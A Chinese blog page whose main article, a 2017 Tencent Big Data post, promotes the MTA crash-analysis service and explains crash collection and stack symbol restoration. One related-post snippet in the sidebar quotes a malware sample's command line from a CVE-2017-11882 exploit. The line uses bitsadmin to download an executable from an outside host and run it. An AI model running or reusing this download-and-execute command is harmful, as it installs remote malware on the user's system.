文档章节

当用户秒删APP时,他在想些什么

腾讯大数据
 腾讯大数据
发布于 2017/07/13 17:12
字数 1730
阅读 5
收藏 0

研究数据表明,高达62%的用户在使用移动App时遭遇过死机、无反应、闪退等程序崩溃(Crash)。如果Crash发生在首次启动,21%的用户会选择立即卸载App;而如果Crash发生在使用过程中,70%的用户会给App差评。

这个数字是不是高的有点可怕?质量学界有名的KANO模型也证实了这个道理,产品性能和用户满意之间并不总是呈线性关系。

在产品功能的优先级上,我们要优先满足基本型需求,第二是期望型需求,最后才是兴奋型需求。因为如果基本型需求的表现差强人意,用户的不满情绪会急剧增加,甚至粉转黑,即使满足此类需求并不能带来客户满意度的增加。

比如一个号称装备双曲面柔性屏、2256万超高像素、充电五分钟通话两小时的完美手机,如果打电话信号非常差、时断时续、通话质量掉渣,想必买了的客户都吵着要退货吧。

而对于一个App来说,用户的基本型需求就是程序稳定、可用、不闪退

 

Crash全方位解决方案

针对这个App开发同学的刚需,腾讯移动分析(MTA)将内部打磨多年的Crash分析能力对外输出,合成进阶版Crash分析。

它实现了多平台的Crash数据完全采集,帮助开发者动态监测App在各移动设备的异常情况,且支持按错误类型和应用版本筛选/分析错误, 如果APP发生重大的质量问题,系统将自动告警给相关人员,让相关人员做出相应的应急处理。更重要的是它简化了流程,助力App开发者用“一行代码”拥有“完整Crash分析系统”,为App运行时的崩溃检测和恢复提供有力保障。

具体来讲,MTA提供的 Crash分析解决了四大痛点:

第一,它实现了多平台的Crash数据完全采集。不同平台和CPU架构环境下的异常数据、堆栈、环境属性、运行参数等数据的完整获取,是后续定位的基础。

第二,数据的实时高效处理。将异常数据实时化处理,第一时间展示给用户,实时了解产品质量。并且支持按错误类型和应用版本筛选错误。

第三,堆栈数据的精准还原。准确的异常追踪过程、精确到行号的堆栈还原,是还原Crash现场的最有力数据。

第四,完善的告警运营体系。Crash分析完备的监控告警机制能及时监控App质量的波动,把握质量情况,甚至能云控助力远程解决问题。

下图是 Crash分析的全方位解决方案可视化图。

 

Crash 分析背后的技术攻关

能实现如此牛逼哄哄的功能,背后自然少不了程序员小哥哥们的技术突破,总的来说有二:终端Crash采集多平台建设和海量实时还原系统建设。

 

1、        终端Crash采集多平台建设

终端数据采集主要分为两个维度,一个是基本平台的建设,即Android和Java与C/C++、iOS的Objective C和Swift;二是专业领域的定制,比如主流的手游引擎Cocos2dx中的C/C++、Lua与JS,以及Unity3d的C#。有了这两个维度平台,基本上能覆盖绝大部分场景。而在众多语言平台上,Android的C/C++异常捕获是最具挑战性的。

一个简单的Crash处理会涉及到至少三个重要环节:一是源代码文件编译时的编译过程,中间会生成符号表和二进制文件;二是用户安装运行时,发生Crash后,整个捕获过程;三是后台对上报的异常堆栈进行堆栈符号还原的过程。

 除了堆栈数据,系统还需要更多维度更灵活的数据来辅助定位,诸如时间、状态、身份标识、归因、位置等详细的信息。

 

2、        海量实时还原系统建设

还原系统主要是用于处理不同平台上报的堆栈,主要有四个部分:预处理,流量控制、数据过滤;堆栈还原,不同平台的符号化堆栈内容;智能合并,特性提取与归类;入库,批量入库,实时检索。

同时MTA自研的iOS符号表还原工具也很强大,它不依赖于Mac OS系统,支持framwork符号还原,支持Swift语言,支持Demangle,还可精准到行号。

通过解析iOS的dSYM文件,我们可以得到符号表和dwarf数据,解析dwarf数据后可以得到解析后地址与文件行号映射关系,最终可对应到Crash地址发生的行号。

堆栈还原后,我们需要做结构化处理以方便提取特征堆栈。分级优化,按App、第三方组件、系统分级,第一次提取最直接相关的,第二次做干扰数据的过滤优化;同时,还要对堆栈的调用链过程做分析。

同时,增量计算模型还有如下功能:单层单节点内计算小段时间(秒级)的增量,定期发送到下一层节点进行汇总;全整数运算:减少字符串处理开销;全内存处理:文件持久化支持,保证端到端的消息可靠传输;智能容灾策略:本地文件备份、双机热备、一致性hash。

除以上两大技术攻关,MTA还有一个亮点功能,那就是一行代码,一个系统。只需要集成简单一行代码,便可拥有Crash分析、自定义事件、分群画像、无埋点等一系列服务,不愧为解放开发者的神器。

 

回到标题,当用户秒删App时,他在想什么呢?

暴躁的小A:垃圾软件,毁我青春,废我前程!

淡定的小B:连程序稳定都做不到,怎么实现“改变世界”的小目标呀~

聪明的小C:赶紧接入腾讯MTA来为你的App保驾护航啊!

 

联系我们:

如果您希望试用或者体验MTA Crash分析,请访问MTA官网接入试用。

如果您对该功能有疑问、或者在使用中遇到了困难,欢迎您联系mta官网在线客服,或者发送您的问题邮件至:dtsupport@tencent.com

商务合作或业务咨询,请联系以下邮箱:mta@tencent.com​​​​

© 著作权归作者所有

共有 人打赏支持
腾讯大数据
粉丝 1
博文 14
码字总数 30424
作品 0
深圳
作为程序员,我的两次最傻眼的时刻

作为程序员,我的两次最傻眼的时刻 2018-07-04 10:53编辑: yyuuzhu分类:程序人生来源:程序师 程序员 招聘信息: iOS开发 iOS开发 iOS开发 app开发上架H5技术 app开发技术 图像处理及模式识...

yyuuzhu
07/04
0
0
作为开发者犯过的两次愚蠢的错误 一定切记切记

上周我和同事们简单地聊了聊我们工作中搞砸的那些事儿。如今早已不再犯那些错了,所以想起过去就觉得很好笑。但是笑归笑,其实当时犯的这些错让我们受益颇深。 分享自己犯错的经历至关重要,...

Java高级架构师
08/10
0
0
棋牌游戏服务器该怎么选 需要注意什么

  服务器对于游戏的重要性,就像鱼儿离不开水,游戏服务器相对于其他的平台服务器来说选择的要求是不同的,游戏承载着所有玩家的信息,如果游戏服务器不稳定是会导致玩家信息泄露以及丢失的...

H5棋牌游戏开发
2017/11/29
0
0
你对多线程的理解有多少??

为什么要使用多线程? 学习多线程的目的: 将耗时操作放到后台去执行, 这也是学习多线程最主要的目的! 那么怎样能看出哪些操作是耗时较多的呢,这里我们就来模拟一下内存几个区不同的耗时情况:...

DXSmile_大熊
2016/02/15
143
0
Android手机删除关联的Google帐号的办法

在网上有人说Google talk的设计很好,于是就想登录进去看看到底怎么样的。结果一关联了帐号之后,Gmail这些收邮件是方便了,一来就自动同步,提示都不搞一个。我一看“联系人” 里面,也自动...

鉴客
2011/08/22
6.4K
3

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
17分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
30分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
32分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
43分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部